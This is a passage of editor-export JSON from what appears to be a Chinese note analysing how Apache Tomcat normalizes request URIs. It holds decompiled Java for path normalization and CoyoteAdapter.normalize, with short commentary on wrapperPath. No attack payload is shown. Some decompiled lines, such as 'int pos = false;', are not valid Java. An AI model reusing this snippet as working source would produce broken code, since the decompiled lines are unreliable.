{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xg8e-1669639562505&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cMhR-1669639562504&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String normalized = path;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4mR0-1669639562507&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ovuf-1669639562506&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (replaceBackSlash &amp;&amp; path.indexOf(92) &gt;= 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hVTO-1669639562510&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3mm4-1669639562509&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            normalized = path.replace(&#39;\\\\&#39;, &#39;/&#39;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wEc1-1669639562512&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TPw5-1669639562511&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6uZk-1669639562514&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eeK6-1669639562513&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o36W-1669639562516&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KBbU-1669639562515&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (normalized.equals(\&#34;/.\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CQVa-1669639562518&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OG8y-1669639562517&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return \&#34;/\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ohTN-1669639562520&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GCUm-1669639562519&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ztnq-1669639562522&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xQXa-1669639562521&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (!normalized.startsWith(\&#34;/\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uzj2-1669639562524&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6G5g-1669639562523&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                normalized = \&#34;/\&#34; + normalized;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s8hN-1669639562526&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FX3N-1669639562525&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jAON-1669639562528&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e4k9-1669639562527&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PG8H-1669639562530&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yn2s-1669639562529&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fPPT-1669639562532&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LhvD-1669639562531&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                int index = normalized.indexOf(\&#34;//\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JLZO-1669639562537&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QOa4-1669639562533&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (index &lt; 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bSpk-1669639562539&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0PsX-1669639562538&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ApFD-1669639562541&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ArRW-1669639562540&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        index = normalized.indexOf(\&#34;/./\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XPPG-1669639562543&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IK4y-1669639562542&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (index &lt; 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Thhd-1669639562545&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;60b8-1669639562544&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KNZi-1669639562547&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aZHn-1669639562546&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                index = normalized.indexOf(\&#34;/../\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KBbC-1669639562549&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BEgd-1669639562548&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                if (index &lt; 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9GRs-1669639562551&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wZj9-1669639562550&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    return normalized;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y3Go-1669639562553&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OKam-1669639562552&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TvRy-1669639562555&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Bhd-1669639562554&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YfTp-1669639562558&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rk1B-1669639562557&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                if (index == 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zznK-1669639562560&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tjqi-1669639562559&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OOoS-1669639562562&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vhlV-1669639562561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gxj0-1669639562564&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PH7G-1669639562563&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jEIg-1669639562566&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pQca-1669639562565&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                int index2 = normalized.lastIndexOf(47, index - 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;43nZ-1669639562569&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0apr-1669639562568&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                normalized = normalized.substring(0, index2) + normalized.substring(index + 3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vMbJ-1669639562571&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DOkz-1669639562570&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U0xh-1669639562573&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7tJJ-1669639562572&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3ieI-1669639562575&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XSSn-1669639562574&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KnWA-1669639562577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xOs2-1669639562576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        normalized = normalized.substring(0, index) + normalized.substring(index + 2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G7V6-1669639562579&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9pxJ-1669639562578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Dhj-1669639562581&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7zpM-1669639562580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5RJY-1669639562583&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Xg1-1669639562582&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iSGF-1669639562585&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AG5n-1669639562584&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                normalized = normalized.substring(0, index) + normalized.substring(index + 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;68xw-1669639562587&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tmeH-1669639562586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rVCB-1669639562589&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JB2Z-1669639562588&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bhRT-1669639562591&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kxwz-1669639562590&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kqyq-1669639562593&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vjgj-1669639562592&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;typescript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XamC-1669639506492&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DPgd-1669639506490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;这里传入的path为wrapperPath，原始request中的decodedURI由CoyoteAdapter中的normalize函数与convertURI函数处理：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jlvx-1669643544746&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4154/WEBRESOURCE488f0d890e398c739c858134dbddc693&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4154/WEBRESOURCE488f0d890e398c739c858134dbddc693&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yw7Y-1669643544750&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GVwW-1669643544749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最终通过map()构造mappingData并最终给wrapperPath赋值：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dwy1-1669643664300&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4159/WEBRESOURCEd3938b43a51afe0a1365acd43766375d&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4159/WEBRESOURCEd3938b43a51afe0a1365acd43766375d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qyZl-1669643613603&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jrc9-1669643613602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oewH-1669643146212&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GrE0-1669643146048&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AcIu-1669643146047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public static boolean normalize(MessageBytes uriMB) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;73Nz-1669643146050&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vE17-1669643146049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ByteChunk uriBC = uriMB.getByteChunk();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BUDC-1669643146052&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5uFh-1669643146051&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte[] b = uriBC.getBytes();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;29Ms-1669643146054&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ezay-1669643146053&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int start = uriBC.getStart();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;z4Bd-1669643146057&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Riqy-1669643146056&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int end = uriBC.getEnd();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hvcm-1669643146059&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y90r-1669643146058&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (start == end) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qaHe-1669643146061&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KhvQ-1669643146060&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7TNP-1669643146064&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5M1t-1669643146062&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PiPM-1669643146066&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CWWa-1669643146065&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int pos = false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I7Aa-1669643146068&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z3iD-1669643146067&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int index = false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dX4Z-1669643146070&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Pmb-1669643146069&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (b[start] != 47 &amp;&amp; b[start] != 92) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gOV8-1669643146072&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CYTD-1669643146071&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JOYd-1669643146074&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hVL5-1669643146073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0XQQ-1669643146076&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CIoV-1669643146075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            int pos;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9lOk-1669643146078&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7HLS-1669643146077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            for(pos = start; pos &lt; end; ++pos) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e9HL-1669643146080&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I6KJ-1669643146079&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (b[pos] == 92) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4UB-1669643146082&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rzDk-1669643146081&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (!ALLOW_BACKSLASH) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mjxd-1669643146084&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LlCv-1669643146083&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        return false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;msna-1669643146086&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BiAD-1669643146085&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j2Jj-1669643146088&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n7rv-1669643146087&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JI9k-1669643146090&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Oifx-1669643146089&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    b[pos] = 47;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0jeL-1669643146092&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WFAW-1669643146091&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } else if (b[pos] == 0) 